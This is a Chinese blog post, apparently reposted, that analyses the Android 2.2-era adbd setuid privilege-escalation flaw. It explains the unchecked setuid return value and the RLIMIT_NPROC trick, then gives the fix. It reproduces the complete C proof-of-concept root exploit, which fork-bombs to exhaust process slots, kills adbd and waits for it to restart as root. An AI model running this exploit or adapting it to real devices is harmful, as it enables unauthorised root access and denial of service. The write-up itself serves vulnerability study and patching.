浅析adbd setuid

来源:互联网 发布:原生ajax请求json数据 编辑:程序博客网 时间:2024/06/04 19:54
/*
author:少仲
blog:  http://blog.csdn.net/py_panyu
weibo: http://weibo.com/u/3849478598
欢迎转载,转载请注明出处.

*/

0x1 漏洞描述

ADB守护进程(adbd进程)以root权限开始启动,然后降权到shell用户.在Android2.2及以前的版本中,ADB守护进程在降权时不会检查setuid调用的返回值.

0x2 代码分析

//在漏洞最初被发现时,代码如下:setgid(AID_SHELL);setuid(AID_SHELL);
代码没有检测setuid的返回值.在此之前,adb.c中的代码都是以root权限运行,以完成部分初始化工作.通过调用setuid()将用户从root切换回shell,但setuid()在shell用户进程数达到上限RLIMIT_NPROC时,会失败,因此adb.c继续以root身份运行,而没有报错.

0x3 如何利用

利用程序一直fork进程直至fork调用失败,这意味着该用户的进程创建数已经到达极限.这是内核实施的强制限制,称为RLIMIT_NPROC,它指定了可以为调用进程的真实ID创建的最大进程数.在这一时间点上,漏洞利用程序杀掉adbd,导致它以root权限重新启动.这时adbd无法降权到shell,因为对于shell用户的进程限制已经达到了.setuid调用会失败,但是adbd并不检测这个失败,所以仍然继续以root权限运行.

if (fork() == 0) {close(pepe[0]);for (;;) {if ((p = fork()) == 0) {exit(0);} else if (p < 0) {if (new_pids) {printf("\n[+] Forked %d childs.\n", pids);new_pids = 0;write(pepe[1], &c, 1);close(pepe[1]);}} else {++pids;}}}}
新建一个进程后,在子进程之中,exploit代码不断地fork().而新的子进程不断退出,从而产生大量的僵尸进程(占据shell用户的进程数).最终,进程数达到上限,fork()返回小于0,于是打印当前已经创建多少子进程,并向管道输入一个字符.
if (atomic_read(&new_user->processes) >= rlimit(RLIMIT_NPROC) &&new_user != INIT_USER){    free_uid(new_user);    return -EAGAIN;}

当目标用户的进程数达到上限,那系统就不能再将一个进程分配给它,因而返回-EAGEIN.


0x4 Poc

/* android 1.x/2.x adb setuid() root exploit * (C) 2010 The Android Exploid Crew * * Needs to be executed via adb -d shell. It may take a while until * all process slots are filled and the adb connection is reset. * * !!!This is PoC code for educational purposes only!!! * If you run it, it might crash your device and make it unusable! * So you use it at your own risk! */#include <stdio.h>#include <sys/types.h>#include <sys/time.h>#include <sys/resource.h>#include <unistd.h>#include <fcntl.h>#include <errno.h>#include <string.h>#include <signal.h>#include <stdlib.h>void die(const char *msg){perror(msg);exit(errno);}pid_t find_adb(){char buf[256];int i = 0, fd = 0;pid_t found = 0;for (i = 0; i < 32000; ++i) {sprintf(buf, "/proc/%d/cmdline", i);if ((fd = open(buf, O_RDONLY)) < 0)continue;memset(buf, 0, sizeof(buf));read(fd, buf, sizeof(buf) - 1);close(fd);if (strstr(buf, "/sbin/adb")) {found = i;break;}        }        return found;}void restart_adb(pid_t pid){kill(pid, 9);}void wait_for_root_adb(pid_t old_adb){pid_t p = 0;for (;;) {p = find_adb();if (p != 0 && p != old_adb)break;sleep(1);}sleep(5);kill(-1, 9);}int main(int argc, char **argv){pid_t adb_pid = 0, p;int pids = 0, new_pids = 1;int pepe[2];char c = 0;struct rlimit rl;printf("[*] CVE-2010-EASY Android local root exploit (C) 2010 by 743C\n\n");printf("[*] checking NPROC limit ...\n");if (getrlimit(RLIMIT_NPROC, &rl) < 0)die("[-] getrlimit");if (rl.rlim_cur == RLIM_INFINITY) {printf("[-] No RLIMIT_NPROC set. Exploit would just crash machine. Exiting.\n");exit(1);}printf("[+] RLIMIT_NPROC={%lu, %lu}\n", rl.rlim_cur, rl.rlim_max);printf("[*] Searching for adb ...\n");adb_pid = find_adb();if (!adb_pid)die("[-] Cannot find adb");printf("[+] Found adb as PID %d\n", adb_pid);printf("[*] Spawning children. Dont type anything and wait for reset!\n");printf("[*]\n[*] If you like what we are doing you can send us PayPal money to\n"       "[*] 7-4-3-C@web.de so we can compensate time, effort and HW costs.\n"       "[*] If you are a company and feel like you profit from our work,\n"       "[*] we also accept donations > 1000 USD!\n");printf("[*]\n[*] adb connection will be reset. restart adb server on desktop and re-login.\n");sleep(5);if (fork() > 0)exit(0);setsid();pipe(pepe);/* generate many (zombie) shell-user processes so restarting * adb's setuid() will fail. * The whole thing is a bit racy, since when we kill adb * there is one more process slot left which we need to * fill before adb reaches setuid(). Thats why we fork-bomb * in a seprate process. */if (fork() == 0) {close(pepe[0]);for (;;) {if ((p = fork()) == 0) {exit(0);} else if (p < 0) {if (new_pids) {printf("\n[+] Forked %d childs.\n", pids);new_pids = 0;write(pepe[1], &c, 1);close(pepe[1]);}} else {++pids;}}}close(pepe[1]);read(pepe[0], &c, 1);restart_adb(adb_pid);if (fork() == 0) {fork();for (;;)sleep(0x743C);}wait_for_root_adb(adb_pid);return 0;}


0x5 漏洞总结

(1).在Android的shell用户下,通过不断fork子进程,制造大量的僵尸进程,直至达到shell用户的进程上限.
(2).kill掉系统当中的adb进程,并再次占据进程位置以保持达到上限.
(3).系统会在一段时间后重启adb进程,该进程最初是root用户,完成初始化工作后会通过setuid降至shell用户.

(4).此时shell用户进程数已达到上线,所以setuid()失败,返回-1,并且用户切换没有完成,adb仍然是root权限.

(5).adb没有检查setuid的返回值,继续工作,因此产生了一个有root权限的adb进程


0x6 漏洞修复

if (setgid(AID_SHELL) != 0) {    exit(1);}if (setuid(AID_SHELL) != 0) {    exit(1);}


参考文章:

http://blog.csdn.net/hu3167343/article/details/36431747
http://blog.claudxiao.net/2011/04/android-adb-setuid/


0 0
原创粉丝点击